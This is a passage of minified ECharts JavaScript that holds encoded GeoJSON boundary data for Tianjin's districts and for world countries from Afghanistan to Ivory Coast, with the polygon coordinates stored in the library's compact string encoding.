^BHIDDCGDCFMNE@CP@rWLDEDFFH@"],encodeOffsets:[[120859,40235]]}},{type:"Feature",id:"120112",properties:{name:"津南区",cp:[117.3958,38.9603],childNum:1},geometry:{type:"Polygon",coordinates:["@@TLv@CNHFFBHGZFETNPhCVGNGRQXKXCjBN_HIdUZChBVF\\TFECSDGVCZDRQPWdVNA^]RBBAAOQ]DSE@F_Q@[VMCSMADUECOHycI‹qMQEU}zkaŸwENRDENB@ADG@@HF@YnaAOFƒ|CDFHUHH^kVbCR^JHIFLJNGHBDNPXGRSCO^EBMNCPDHHFAFiEIHOAEH"],encodeOffsets:[[120045,39982]]}},{type:"Feature",id:"120103",properties:{name:"河西区",cp:[117.2365,39.0804],childNum:1},geometry:{type:"Polygon",coordinates:["@@d@hZNFdcLYXKRCtCMOFSYEGHEAGEDMu@SKAAsx]GMTGt"],encodeOffsets:[[119992,40041]]}},{type:"Feature",id:"120102",properties:{name:"河东区",cp:[117.2571,39.1209],childNum:1},geometry:{type:"Polygon",coordinates:["@@ZBVFFIGABEEA@KXBDOFM[EACJgˆOIE@QIMGDBHUFEEGAEHECEDGIAKQDWLKZcdQPEP@FOFBJTJ@HNORJf@DBCN"],encodeOffsets:[[120063,40098]]}},{type:"Feature",id:"120104",properties:{name:"南开区",cp:[117.1527,39.1065],childNum:1},geometry:{type:"Polygon",coordinates:["@@NMVDCG\\E^B@HlB@YEDS@C…HsNSiMGDebUXAJEjidVTAFHDFJ"],encodeOffsets:[[119940,40093]]}},{type:"Feature",id:"120105",properties:{name:"河北区",cp:[117.2145,39.1615],childNum:1},geometry:{type:"Polygon",coordinates:["@@DBXFADB@L@LFHM\\NHED@JKZRb]QMRAFCJBDCBQYADMCAe@QIMP@GSIAIPE@E[EGH@ZEF]^HJAXK@KF"],encodeOffsets:[[119980,40125]]}},{type:"Feature",id:"120106",properties:{name:"红桥区",cp:[117.1596,39.1663],childNum:1},geometry:{type:"Polygon",coordinates:["@@J\\PNHEZBFEJELEL@BWGI^]FEkA@G]A[FDHUCMNEHJ^"],encodeOffsets:[[119942,40112]]}},{type:"Feature",id:"120101",properties:{name:"和平区",cp:[117.2008,39.1189],childNum:1},geometry:{type:"Polygon",coordinates:["@@D†T@FCHG\\FFOROMEgYc@"],encodeOffsets:[[119992,40041]]}}],UTF8Encoding:!0}}),i("echarts/util/mapData/geoJson/world_geo",[],function(){return{type:"FeatureCollection",offset:{x:170,y:90},features:[{type:"Feature",id:"AFG",properties:{name:"Afghanistan"},geometry:{type:"Polygon",coordinates:["@@ࡪ͇وŐǬϠڐŶӂʮǚڦ۾njƀ̚ІɣʪҴMوǯʲĹ،˒˰Nj˖ϪԈiżŬĘͺβ̈Ҕȏĝʱʪ¡ý۷ͪ˟̊ǰώĊԼϖׂ×ࢀAƬʋӧĥяƹ७ĭࣗǭӫλȤΣĪллΛ–͑ɳ̡ߛ€ͦ։՗ɅΥԕ²ԋ͡ɿ̳þٝŋğɻسDҵӇ‡܍થΓבôǝȁԇņ࠿űටіހހåզُƚßՔ˟ڢάҢιŮɲؒ΂ਸ"],encodeOffsets:[[62680,36506]]}},{type:"Feature",id:"AGO",properties:{name:"Angola"},geometry:{type:"MultiPolygon",coordinates:[["@@ȸصʌԋȘ˕͐ѯ֊æˤŠҬşŲɀɂӨԶ®ƤіHñ̡৴RfՉǞ͕ūԑÖԫ˪̷­ৃȼüκsԴŴϦ¹ĘʹĩСƨϿů̿î́ყZᦵ֤ۋպԽ໳΁᎝Š׋Ж₭—ŵÏԃϞկ~ԉƝЙDžÿՈŜ݊̂ޒªΰ˚ݶȨΆӘռːϐĘج«ӊʣ̜ɡԚȵԎ®Ǩʶͬʭ߼ǣ֚сՐĄǎΌŔʒg̎ĸៜ["],["@@ɉėɣلͼδʪƘ̀˽̩ǯƍɍλ"]],encodeOffsets:[[[16719,-6018]],[[12736,-5820]]]}},{type:"Feature",id:"ALB",properties:{name:"Albania"},geometry:{type:"Polygon",coordinates:["@@Ń˷ŢέΒȳiə˗ŧ»˙ϷСƛÐgȂү˰ñАîֶŖʼƗƂÉˌθаÂƿɨôǴɥȪďȨ̂"],encodeOffsets:[[21085,42860]]}},{type:"Feature",id:"ARE",properties:{name:"United Arab Emirates"},geometry:{type:"Polygon",coordinates:["@@Ƭ¤ŒɱڂƂ۞uԖ{ֺ֪ظՠՎԮdž˹ŖڑѕGçճƪŝϝǑE΅ʓΏuͷǝDZᡋъ͏࡚Ț"],encodeOffsets:[[52818,24828]]}},{type:"Feature",id:"ARG",properties:{name:"Argentina"},geometry:{type:"MultiPolygon",coordinates:[["@@ߗ§ѓ̔ԑx࣑@Aሞ͒ϵрؿનԋ୲ȿϙп"],["@@Ӵ؇͠ڰॠ“ƊǷ໶ോۊŷਆاࡾ͡Ŧχࠡ౧ࡒɭ़ŷڔƈނ٢ƎݐжLjфӝiڣۻҩ֟΁ॅࠃ૭ଧȽڥɣࡹT࠷ǽȇÝիËѫ੨ܙŗ׃Հν§Ч߯ઁఛ҉။ǩउĎǰԅǣػƺщԋ̏ࡱř̪͕߱ɗŜ࠳֨ʧҠˆʢѧޛʻڭԹūࡋȣ҇ߏEڃљʋؿؙࠞߦǝ˿ݭ঳Ӄձটލͧ΅Ͽ˔ࢍ֔ӡΟ¨ީƀ᎓ŒΑӪhؾ֓Ą̃̏óࢺ٤φˈՒĭьѾܔ̬૘ěӲξDŽę̈́ϵǚˢΜϛ͈ȝॺ͸Ǣƙ਀ȠࡲɤݢԊ̨ʭࠐEޚَոo۰ӒࠎDޜɓƶϭฐԬࡺÿࠀ̜ބռ߂צԺʥ͢Ǭ˔ඔࣶд̀ࢎĹɂ۬ݺશȱ"]],encodeOffsets:[[[-67072,-56524]],[[-66524,-22605]]]}},{type:"Feature",id:"ARM",properties:{name:"Armenia"},geometry:{type:"Polygon",coordinates:["@@୞ƀǨə͌ƣǛɁ҄˽ʁˋΦɫϘƏl׋̣}΃ӢHżχCʝɤǩuͧʖرȼĄФƛ̒"],encodeOffsets:[[44629,42079]]}},{type:"Feature",id:"ATF",properties:{name:"French Southern and Antarctic Lands"},geometry:{type:"Polygon",coordinates:["@@ը˃ߐĿˆDžɽϣಇÃq҂ŮΎÊǢ"],encodeOffsets:[[70590,-49792]]}},{type:"Feature",id:"AUS",properties:{name:"Australia"},geometry:{type:"MultiPolygon",coordinates:[["@@ߺ́ҜŘپNJԎÉÐঽ˽́ēگ̉ɰ׍בǧ®ԫ€ԭܘŗֈӝܸtϬռõ"],["@@̢ڇբ̈́˦ΡЖ͟đϋǴܛŸнɄĹɬܕąѥ˖֭࣬ѭצЋ֞λŋȯӔՃࣧ͜ͲȂ;ηȴźƢࢹ׬ԩϸ͋ڀڹʀڭtӏËԳА܋µݓơϵɩݡjӕǕ׻χއثЭ̫ٱ˫гʝܧ͕нɅػʼnׁªˇӕ̇व‰ޡ·ϫ͙ԕέ۟ψԥƪżѬҝǃ݁؉ܩɪӉƄӑÔ߿ʐիԮƻْțьЭ;߱ĸˢРȯزЧ׉ݝƷѮҬŶӞ͘ЬãجہܑԿ˽͏ڛٽΊ~ҀԿ،ѹ̀ǂȘઃԚןz߯Цຓāછ̝ख़˫ߡÈࢻљܯȗljѱ̳Ϳ܉qՅõݑƶ׿ğֽԁ҃ʕœуʁЗˋؕ֛Bࢽ՜ҋDŽlӖкŘƚȒ‡̠ĺאģӼѻࡖƏӒ˜ӎͭնsʚϋͰĽڄӓڔřΪτε˳ެиʑʞ͗aјеڎă˄țʦĠӠǢȸŘрęӮΎ؀Úٕ΢׀ۀˬЦΪٜ̰ϤàɴĻڎ̺ԚĤŶȀɞüҬoࢨʖҚώɊ҆ӲѐœͲvҘט܎ΠܩΦǚ̗Ј˂ТψǻĸٖҠаȮͨцƜ`ɼτĭdɂτŦОŔبϫҲӽՂMՖÿDZҦДڪϜɘſȾκӒԘ̒јıۺǂeі؛ˢ҂Ū֎ȻҀ·ۼɋʈĐԶʵӬʊ͂ñȠNJϬеɡ͉҇ͻ˿ƒĮͱʙп̗ЭÔʁڜҫ٨ˏѠ́؈ӻʂBѰɍŶʷߤ˵ֈ˼ǐҊǠόľҤʰڞŝОÔʔīӔŌنLjǠŽˬȮѾdžҦtʈ̸̾ʂЩÎՃȾķ˜Λ̨ёÚӇ‡̥"]],encodeOffsets:[[[148888,-41771]],[[147008,-14093]]]}},{type:"Feature",id:"AUT",properties:{name:"Austria"},geometry:{type:"Polygon",coordinates:["@@Û΃ӁCǎǻ˧էLJƗܽsщȏۛÞயɐȉ̊ࠧƣĭDžԗŢѕxϝƶźȴƬʪ²ьɹŤɜݎ•׸ƮЖ}ˀǣþƜšո̠ń̒ϰز˓ӀΆ̐ÚٶʱЂªϰǁãŃČ̅"],encodeOffsets:[[17388,49279]]}},{type:"Feature",id:"AZE",properties:{name:"Azerbaijan"},geometry:{type:"MultiPolygon",coordinates:[["@@ʞɣψDGŻ΄ӡֽŒщϰƃ͆Ǫv"],["@@ϊËƞɈԈͺѴѵђ׭ϺŸʸɧۗãƣٵƟ̭̍ȝvзȽ¥ԻѲ̂дʝʚ̿×যإk׌ϗƐΥɬʂˌ҃˾ǜɂ͋ƤǧɚȶƎضʍҐ¹ŘIJбҔɔŚʀ…׀ԙ"]],encodeOffsets:[[[46083,40694]],[[48511,42210]]]}},{type:"Feature",id:"BDI",properties:{name:"Burundi"},geometry:{type:"Polygon",coordinates:["@@Á০ɃϢԜßʲӎҀŸͧǸȏT˗ȹǭ͛ѫ̧̥΍Ÿ"],encodeOffsets:[[30045,-4607]]}},{type:"Feature",id:"BEL",properties:{name:"Belgium"},geometry:{type:"Polygon",coordinates:["@@؜áުǪՐοҦȝħ֧ɕĝһܿϦћßדІϷͶϷ`ũ̒ڪǔ"],encodeOffsets:[[3395,52579]]}},{type:"Feature",id:"BEN",properties:{name:"Benin"},geometry:{type:"Polygon",coordinates:["@@ۛįȹ׆žኞǛǦЮ̇̌ʱʞņѶ̀ĨǠξЪĀȀʤˮʘ̠F٘ә˩ȎӽǓͷĘɧСԳʵʳǁՉt՗µണ"],encodeOffsets:[[2757,6410]]}},{type:"Feature",id:"BFA",properties:{name:"Burkina Faso"},geometry:{type:"Polygon",coordinates:["@@ֹɐϽ‹̍Ƀϗǰƥ˦ϙǾÅӦɮΤo˴ښۢŬּɲȴОœΚǢŘɎٴϖdžˀ޼ΒҦŢɀLJՠJáСŔϣӀչ€НॺȏmֻǿʣЩÿǟν˿ħ݁lϳâ˓ƉωÖร¡qӉŘم"],encodeOffsets:[[-2895,9874]]}},{type:"Feature",id:"BGD",properties:{name:"Bangladesh"},geometry:{type:"Polygon",coordinates:["@@i׽̉ŶÆگʉѬµєDžКΕӨޟ’ü΋˃ҳΧǠũƵʃĠ͗øŽۖ̅لƜԒԫɤȆ̪Հ̼؅Ѽ֮̔ږεВ£ô׏ߞřު^Ӟƛϯ܅ϕµʷӍҢѥƎ՞ɶFѶ೯"],encodeOffsets:[[94897,22571]]}},{type:"Feature",id:"BGR",properties:{name:"Bulgaria"},geometry:{type:"Polygon",coordinates:["@@ʎΉ͚Ö٦ſ௾«иɌবȜ̩ؒӴĕѥΏ̫׹˔ӏܣŒࡥ˃Uлޅÿס̊ڧɱة|Ñ֊сːƒŢĝĴƘˌ͌ˀСδ÷̬ȸȐ"],encodeOffsets:[[23201,45297]]}},{type:"Feature",id:"BHS",properties:{name:"The Bahamas"},geometry:{type:"MultiPolygon",coordinates:[["@@ȵ£ɇӜ̿ʐǾՔʨ‘ۣ̎Jӥ"],["@@ࣷƅÏ̴Ђäֈ{~ɕ"],["@@ƟׯƷņ`ѮϓͪCĪڐϗ"]],encodeOffsets:[[[-79395,24330]],[[-79687,27218]],[[-78848,27229]]]}},{type:"Feature",id:"BIH",properties:{name:"Bosnia and Herzegovina"},geometry:{type:"Polygon",coordinates:["@@̦FȿσМ͓ūЃȡ™ƽû˙țūҥݓ͈ͅΘ͋Ȅϭ̾ǻʺЩϾǬΒ̞ȕǼǨϾnܠƓ׈\\Ϟȅ"],encodeOffsets:[[19462,45937]]}},{type:"Feature",id:"BLR",properties:{name:"Belarus"},geometry:{type:"Polygon",coordinates:["@@߼Mࣰ̈́ȚӄېːÿϔԜƚ͖ࣘࢮɁŢȻѲĴࠒȧĊЁǷɧՄս΂Ƴ»Ʊ֦Ʃʎɡ͝ǿڳˆljÿȠ˧ȸ՝ܝ¹ʵȁÃхͭĆݷ¡əȞ̿ƥ́ŨڍjफȬࡕàٱmҡɩГeϐʷϴԌǢLͰɷ͌™ϊ"],encodeOffsets:[[24048,55207]]}},{type:"Feature",id:"BLZ",properties:{name:"Belize"},geometry:{type:"Polygon",coordinates:["@@OŮĸžƴı̞ԔDŽZHūDŽGaɭƋεôŻĕ̝ÀăīщǓɟƱǓ̅ʣ@àॆPژ"],encodeOffsets:[[-91282,18236]]}},{type:"Feature",id:"BMU",properties:{name:"Bermuda"},geometry:{type:"Polygon",coordinates:["@@OEMA]NOGNG\\Q^McMOI_OK@CQSGa@WNLVWHFLJXVFGJ`ZRTDLeeWKIHGIK@@[MQNi`]VDTBHCJAPBJLVFjT^LV\\RJZRn^RH`TfJjZHHOTTFJP_NOX[EYQQKMEJOLANJH@HQHAARF@ZEPS[U_IcRQXE@EEKKOCGGCQCOGISKYGUC"],encodeOffsets:[[-66334,33083]]}},{type:"Feature",id:"BOL",properties:{name:"Bolivia"},geometry:{type:"Polygon",coordinates:["@@य़”͟گӳ؈વȲ۫ݹ؅ŗ͡୆ҋऺˆ߾ѳ΢ŏ؆ЫֲՌ࣢αۺȖ˰ƭ̶͠рh܎¤נǸ˶ܩഠزíѠnȈʪ݀;Ѷ͂સƚęؽļ͓ãࣰ֛ݫऴƑ̻ͦ֨ǕΐʑՈTӦʟšӟǐʕZγʓa͒এྖ“ūӟĜͧҞɽȤԹƫڋɯρĄӏʿǥaʶ޳јޭ^ัʓЕ݋sҋͥ৕ƉǸ"],encodeOffsets:[[-64354,-22563]]}},{type:"Feature",id:"BRA",properties:{name:"Brazil"},geometry:{type:"Polygon",coordinates:["@@૮ନॆࠄ֠΂ۼҪjڤуӞеLJǒӜŖӼBҦ̡ƴ̿Ƌ̻œį͔ýޔƿʤ֥ɪ΃ǏࢱLjÈଜʝҴˀǦăӐɰςƬڌȣԺҝɾěͨŬӠྕ”͑ঐʔbYδǏʖ™ӠӥʠՇSΏʒ֧ǖ̼ͥळƒ࣯ݬä֜Ļ͔Ěؾષƙѵ́ܿͽȇʩџmرîӃƟϡĪÈ౨ۏӷݏv҄ͅ֏¶DzΰұԞΓݴɜƶA΢ԖʎċҔɊ̈Ôϼ०ֲێNJŔŴݴŸϚᘰpθſӔύ̬LؐӀƒǚē†͐ӯĔYՀ࿖k˦̂ɸˉǐӷǂļҨѻٸÆnjʲشȞΊƐĮΤ׸ʆ¯Ǯ܅ðśՊ’֞ϓɒǀþجŅڜȿʐȤ؀žल̮͎̾ŏʂѪšȜȗʼnσ̀ŵȖϷɷ̏ƅ܏ɌыÔϳԬϿЮ¥Ģǒˆ˜ϠƦ˚ɢҬíȲŠҚçøǢƗǘĎʐͺõЈĒӔDZξǥʺɪȊ•ŘɿДÒ͒͊ʴؤӼޒ˺¢ȺҫҼ฽҈Ƒxׅمەʾʩ๤ƁŠࡃٔր੐̟ඊԡШӱƏҫ঎ʶ࿐ѹఴŽఔ۝੸व٪ʏܖ‘̦˅˸੭Ɣԗͯ൹ёշஅୡՙोثܯȿgɻءÒ༽ɹಓęօˇͧƫ૱࡛઱ƛࢁڹηȟԋ࣯Fೕ͓סύवʗ঩ڝ܅࠯ũطƔҫƽࡓȏЧחҥट๕݉ڗ֯Ͻϥߛ։ӑɷӈψЊӟֲڇҬࡹՠ̹{ࡅٰձę"], +encodeOffsets:[[-59008,-30941]]}},{type:"Feature",id:"BRN",properties:{name:"Brunei"},geometry:{type:"Polygon",coordinates:["@@ͬ̾܎Ң›Я·՛Б€ǭ˹ϥѦ"],encodeOffsets:[[116945,4635]]}},{type:"Feature",id:"BTN",properties:{name:"Bhutan"},geometry:{type:"Polygon",coordinates:["@@΂ˍÏԩۇ{ۿÈՇſޅ͊kǚ֌زҒɈ׸șѺqπɥ"],encodeOffsets:[[93898,28439]]}},{type:"Feature",id:"BWA",properties:{name:"Botswana"},geometry:{type:"Polygon",coordinates:["@@ǜƭ˄ӡॎइήĝD̑ʚՑٰŹ՚ϝ஑أݭع˩֓ʧ́ҙãƧГďʽ՝țہ¤БɾΟĸХșȵГЉʧпϑ׻đȇ̐üԠӽߚɧŲAរࠤˆ|Ჾش„ಖ͎̎΍՜ͤʮDӂȎưÙ͔ڣ"],encodeOffsets:[[26265,-18980]]}},{type:"Feature",id:"CAF",properties:{name:"Central African Republic"},geometry:{type:"Polygon",coordinates:["@@ۜÚƺɎƔgȾȏ੔͐Τ͠Ѭ̌ĉ̐ʂüߺ½߆ϴ؊ࣺю;ՐƜĪΫӜԿF΃ƋΓÄʻ̆ʍٖοҢͻT˗֠ѫΖεɆԋغͩƊˉˣęաpكĘ̹ïųȱ˕}ͧDzधнϥĎŗÝʥԕطǐؙĊ՗̴ۓ˸҉˓͛яùדգ²֩Ƙԅѻѯޱėʐ›Ϧϧ˔̳Ѡï̠ЇѮæʢċΞÞٴȬƴц࡜"],encodeOffsets:[[15647,7601]]}},{type:"Feature",id:"CAN",properties:{name:"Canada"},geometry:{type:"MultiPolygon",coordinates:[["@@؎œުxЯ΅̵Å੥Φȿˬ͆ʸ̎С"],["@@Хcઝ˂ޯІ̄î૆Ɂ࡮Η|Ʒ"],["@@хŝൡϢʥ̘ݩ̌Ưʈࡻư͕ҜðȚࢨǿԨŵ߄ė˺̃дЋ࠼΍Όҩ"],["@@։ܿո˴֠ǵ̏̉ݚɱϰȴ࠼ʵʹ؛טƞņѿʼԷΝ݉ϝ‹փǂǾیɻńইܯԅ†צЂ߫Ȳࣙ¹࿅~ŹʠԼ̐λɬ۸Ԓࢄ೾Զӎܲ̂϶™Njɫ҅Չ"],["@@@@@@@@߰äʥ॓ܶگͯDԑϪ̵ϮчʾƻτºˎЂŋ"],["@@͡ѳχîəʢ Î͖ʦΆkɈǣ"],["@@ঝҧץnǿɪزϲ଼SiǍ"],["@@ƼυјżӨɗं˽४ʽöЍؤÞ׶˥ݙ˃ಳȬҽϚ࠭ҁ஡ѣ˿Ӯଗăܴдņڌ˺ޔ؈å"],["@@ष¥ȿЪΦҼޖŜپɷXέħřձʛ"],["@@Է̍ଉʬۃğଫϘ݊ʼטζࢼʃԎƯʦDžԠ͍"],["@@G࡭૰ڄ৐եʡح߾֥࢚؈ؖܨ°ईஞÝఔūૼй¼зس҃פ҇ŃУ࿩חୡŻࢃʨʣуߵ۽ʓοই֩ளÇڏΡÇձ঍Ŀਉڻ࣭ु͙ڏ±উంƕϜ޻ϼّ୲ǔ༞εࡀ͋׺Ѕ੆ɳࢸΟ൶µࣴąƍܫʼࡋ،ळనߗ٨˚ҔࡺѭೢףѶഎЀ॒לҮהç֭֘܌৷لলࢤνݾ˫ಾגȘ෸ɫࡸć۠ɚ޴˵ਚӣʮ͙ຄÛ}۷˪ਜ਼ގſ،ӵ௖Ұߦऔ֌ϸٺݣબੳघ৙͵Յ૤Ӂݰӓംɏբˍͬ܃ټŏͶͅÖऻ؍́׽̏൯̗੏ۑ෇ƋᅛǮుPࢇÍ۱׽ੳω௉૗ॵޡ܌Ɛഘૄᄈ۪సČݔЫߍ֟ˊࣟ˜هતп൸ŨࡆीÎ؍ժ̥ਣսᇷԁ࠯ͽय؁ٓ֍܆ฤ۞഍ƒणĹջӆBନύʐ֛ƛ˧ɚٙىʱٹ̕ϡΥŽˏ¥čȹ໽A౥MϛƷࢵ؃Ŀßˍ͝ޗBࠛGϛƅƊǑøʯeďષлࡽſউ҅Ɂ@˷ƂĥŦnĔȂ̎ЂҦʘӺǙܴǵނ࢕ЂľƬūĺɳ@ǛƆ¥ȤǍēɥ€¾ĊȡĊćɚٵːڹ˪ࠑ͘߁̨ݧʃ˝Sਕɔڻʼnࠁʺ࡫Ɔו¾ʻƜƫҤ˳IE͓჏BᮝA᭯@ᡃ@ᠿ@៙@ᢡ@ࠛ@᠁@ᛷ@őF྽ࠜ׵δຽΐҳݖŤԨ੻ΨƧڴ৭؎iѠҲКwՌෙ՘࡭ॠՁ׾ޑϚ֣ΈѿѢࡇ˕ࠇҹݛւדπࠋɸࠟ|JⷎNᷲ༬ȭ೘Й࢘û݆ΖৰˀఢĹ఼τ൘Ⱦ־ΑظȠȊЄ׈ęෆݫ૦֬ŖّਔƐ͆ʖৰ·౼Λዸ̭ୄƛࠖÄଊэ஁зຶǷᗘIJܒƦࣆԋࣴьࡩΦժ˼৾žڦĎڴȩࡊҗरä๢ϛಬƄ௬oĭԺݞƦದ˵KߑՖڠڰuϞࡊ࣑԰কͺäघশ؎ૌƇࡘχଞॅݗЭ༠ǝ"],["@@нϿሎʬୠщॊіސ˟یࠛфΒ׭ࡰ݊Ŭ࠲Ƈश͹ՆࠉʼץථеະЉĝσൡã՚͓˱ູ̯Ƃฃɪঋ»ཅ˷ᒃű๻āҕІଫɮݙģਛږ֔ĚಘƜஈ›રƦྷȞᅗã஗jѷ̴ዎͲಗ[ืɚ۶ـגͮᖬԠ࡬Nj"],["@@݉ևಹך˸Ş૸’ٔȁ"],["@@öɵࢿ|ࣟjࣿőʑ¼ऍѾ˜̠ИÈነěชң"],["@@ڎԽޤڴᒆΈ෺ࢅůջဒʒߒͮሀыୄЏŊν༚Ȑ࢘՗᎐ܸͩ͹ߐ޻໯ϹጘչೲȁீޙೖÇʽכ้ঋਗά೓߲ઙĿŁӕࢪӥଜϯΌɟմࠩ́׿੕ɪᑏڨஎܣ࢔ԕƎ̉ᗱͲᅩӤ৳Ц̌ʂయќ௥Т`ʑᝡƅ܃˾ֆؤ཈dႸņ˫̜̊оચࠊɳϊ͕˾౿Рၳ˺՞ɆࢷԺ݋´ڏ˸҇ʛ຿ŅᵝȈᄫʚഹŴۥ̐࢞Ϧ஝Hˉ࡚٦ݨࡺ΄ᓪɢأի"],["@@৊ǯຄńɖʑ޷Е౜αƱݳ൝͗߳ê׉͎ᐡٮjˎ႖ĽएռসР"],["@@࣓عय़ŒԽ݆`кѮΨ࠰ɮც‡ྈȱళݟ৉Ǎ"],["@@ᕍЙѷςኹѺήΤ׌ؘܰւࠑԦᭊƀ஬ǧᒰ±ࠄʑࣖΝ੍ɃᏝןਫי@ν"],["@@ҙ͙௝Øৱɖ҂Ϛீɨܼ̬̍ˇ"],["@@ٞϵ€љϣس൱đࣗƈjӬ൝ÝÁٮࣜౌ˺ஂµÜŎ"],["@@̙͢ݠƘࢢ™ƪЩԝЋ᭗Žᑯη౩mŅ˜პϊ④ij୯Ʈପࠐ߈ɾᛄ˳๶ӻฺÛறߨޔ̪ࢄĭ˲Џ"],["@@ढ˓ကFܨˡȑ́८ȍՔȧଊ™௬ë೸ǼႊðീÏ࣒ͅȊ΍ԽɟభǷ੽ĸᜱŻႫcഫļᖁ˔̃ҦĹжࡇξ჋ĺঅʼ͂ΈႾÁ"],["@@ŗ٣٩̇޹£༝Ϋ഍ŹଗǼ@@ුؼႮծಆ[ସŬ"],["@@ϣy༽Âɡɼၜ]מƻĵĩ"],["@@༩ʋఝ˔ڼˎ௮Đஈſ˩ʥ"],["@@৽ǏඉBbŤࡴʦҌદǝ"],["@@కǥۃȚέ͂áΎજ‘ӪÅ৐̇ɫ̣"],["@@͜Ε൏Ĥ൩˘ሏŒߺʠ৫ȮÕ͐࿶ŕᗢ̫ٞЍ"],["@@০˕ଽʟ༇ك๥Óდņࣗ΄^̦ڔɢ໡Oए˨ՑϠ׌ώ׊ʲࡴÎοȖዜ¨੶҅මǵ൞ǃڒև"],["@@ᖢßᅮŅ໤ɫ™ɡᏅη᎙ǟݻȉᆬJጡԙേʃ෯ۇႿƓՙǡᡷěୈĿׇƭ۞бߙ˽ಛʃЋ͡୫ʣŞȏ෬lȳᖟԋᔧɴឿŻధĸཟªĿЖ༊Ȑб؆ԢÐᖤγ଩բഹLjڼ͘๰Ȩʄ̊஋͠ΥѠᘞ—ڒĝ಼̪ቃĬ᰽Á๣˸۩ͼগʘȁ˺దLjঘ‚࿲ƌం̺ਬ©ࣤɽٔҒૐƈບĢᢲ–Ҁĝ᝚ƚᆔÁᆒÁ"]],encodeOffsets:[[[-65192,47668]],[[-63289,50284]],[[-126474,49675]],[[-57481,51904]],[[-135895,55337]],[[-81168,63651]],[[-83863,64216]],[[-87205,67234]],[[-77686,68761]],[[-97943,70767]],[[-92720,71166]],[[-116907,74877]],[[-107008,75183]],[[-78172,74858]],[[-88639,74914]],[[-102764,75617]],[[-95433,74519]],[[-123351,73097]],[[-95859,76780]],[[-100864,78562]],[[-110808,78031]],[[-96956,78949]],[[-118987,79509]],[[-96092,79381]],[[-112831,79562]],[[-112295,80489]],[[-98130,79931]],[[-102461,80205]],[[-89108,81572]],[[-70144,85101]]]}},{type:"Feature",id:"CHE",properties:{name:"Switzerland"},geometry:{type:"Polygon",coordinates:["@@ƫŹȳϞƵіwá΅χƙةŀǻ͹ЏơƄһ˵Л¡αǶ˽ςБſ^ϠؚҾɈϤûɲƞ܎MǦǼ࣒ʱ"],encodeOffsets:[[9825,48666]]}},{type:"Feature",id:"CHL",properties:{name:"Chile"},geometry:{type:"MultiPolygon",coordinates:[["@@Bም࣒@Ԓw˧ͻܛʻЭ‚ӻä؏ʨ࢟ŨੑҸ࡫Ҏୃशۘǭ୼֗૜̟ѢϬ˘ֺޠΎװı"],["@@͢୅؆ŘĺɁ˿ࢍࣵг€ඓǫ˓ʦ͡ץԹջ߁̛ރĀ߿ԫࡹϮฏɔƵCޛӑࠍpۯٍշFޙʮࠏԉ̧ɣݡȟࡱƚ৿ͷǡȞॹϜ͇ˡΛ϶ǙĚ̓νǃĜӱ̫૗ѽܓĮыˇՑ٣υôࢹ̧̐֔ÄgؽΒө᎔őުſݝPЙȷݷ̣Ɖ޹Σoॅ˚१ג@@ਲ਼ӔˁՒʄӰх֒Ņ෤Φ߰ࢴٰౣʔߞݒ˸ඊत̏Ѯგ֝ɠʿ਻ՉŠ˂ல˺༒ϮָʍࠎéूΠ„Ԩപ׈എΤబȗ఼ʤۚĵਞӮਆưྺ˒ნˀሤÕ൘ǩ஄ќɌɦњЬֱŐ؅ѴΡ˅߽Ҍह"]],encodeOffsets:[[[-70281,-53899]],[[-69857,-22010]]]}},{type:"Feature",id:"CHN",properties:{name:"China"},geometry:{type:"MultiPolygon",coordinates:[["@@ԑഓΫۏѷ܂ĩخӶࠜڦَϨʡƣԓ","@@ܩЗۏʺyܢаϠࣾɾӚoȊ͍σσșӟ"],["@@ฬˍ঺ׯͼ߃౨Cܰͨ൸ʜѳݱ͙̭˽ः֡ࠇ৵ƪܝ̑ɜܙť঳ѕwLяթӺͯһಙαƀѹܩŒЍ˂ֽ׭ऑҋۃա୭ʑأϽࣝɭ҂ϴǭ͞ږ֠ѹѲܷ̓ॉ׏ԫթ࠙¡ѓϻѸ֩یƏ„ϕڔʕस׶ݚ͝լuƌѱஓɻϻҏࠇућיࣜҥͦࠝԞޓ֮٥_دՅɯȪ҃ӶʻŻۃɇڗҷ÷ؗࣧڹિޭোିޡୟۻृĩԣύ̃˘Ӈй୭сࢵŹ˻ࢱҭ·ə؎Ȧ͘ૻːЇƍࡍɔЏ΀ƄӜޏƶЙܑ̀҃ࠇīڡJ҉ȳѥūŶ॥҃x÷Ȣ}Ύ؝ʓεƸر͂ʔۤՏǎȧޜࢱƓĴাߔۮ”ۚ{٠νȨ˭ӶӭÙࣟŲ˴ΜϿԺ׳Ν۵ȸॷ՗އسڳĿοɦѹr׷Țґɇ֋رëڌԟǭওĈोȖڿτٵǔ˯ЖҽŦࡓոکʴΑȩଢ଼טࠛՒɽऐ׾ő‚іͭјĐۆࣙঠ൧ͼʝ٦ةϼƫʌųӎˆ͜ԛȔ˟ďɇިʈȔśȠߤЈ׈ǐࢸő͆՜ંIJͮ̚೜ҔŠȐãӐּɔݱฦဘͲјȈ؆ຒဠˡҲϞ¢ࡆۦĀٖ֔͢èɚו۸ѽப̿׆ڱ͕ঙ̢ηূƝଆŝ৪ԻԲġϤޟӲӿऒnჄȉ૤Ŝࠦůఔԛ৮BόʽঐҌബ̈ాŒঘ̒׾҈ך˰Ƌˤˍ͔ѴըӀùࡺǝ࠸Ѿ౲͚؞֊נʆ௠ŐڐĥĠ̘ݿזګː٥̳ࠣžӇŃɏΆר࠾Цو৚̓ஆՎQτݸࢾҲːWҪңȦۜмਰƲ૜vసʡ݈̱԰ࡏ̀α̊ԩ̶ࠕ"]],encodeOffsets:[[[124701,24980],[112988,19127]],[[130722,50955]]]}},{type:"Feature",id:"CIV",properties:{name:"Ivory Coast"},geometry:{type:"Polygon",coordinates:["@@ϣUוǒ՟Wহƥ׍ʍ̯ࠫNjvÞۖĄŀ}ͨΣΚˉÈʕɲǾώčО 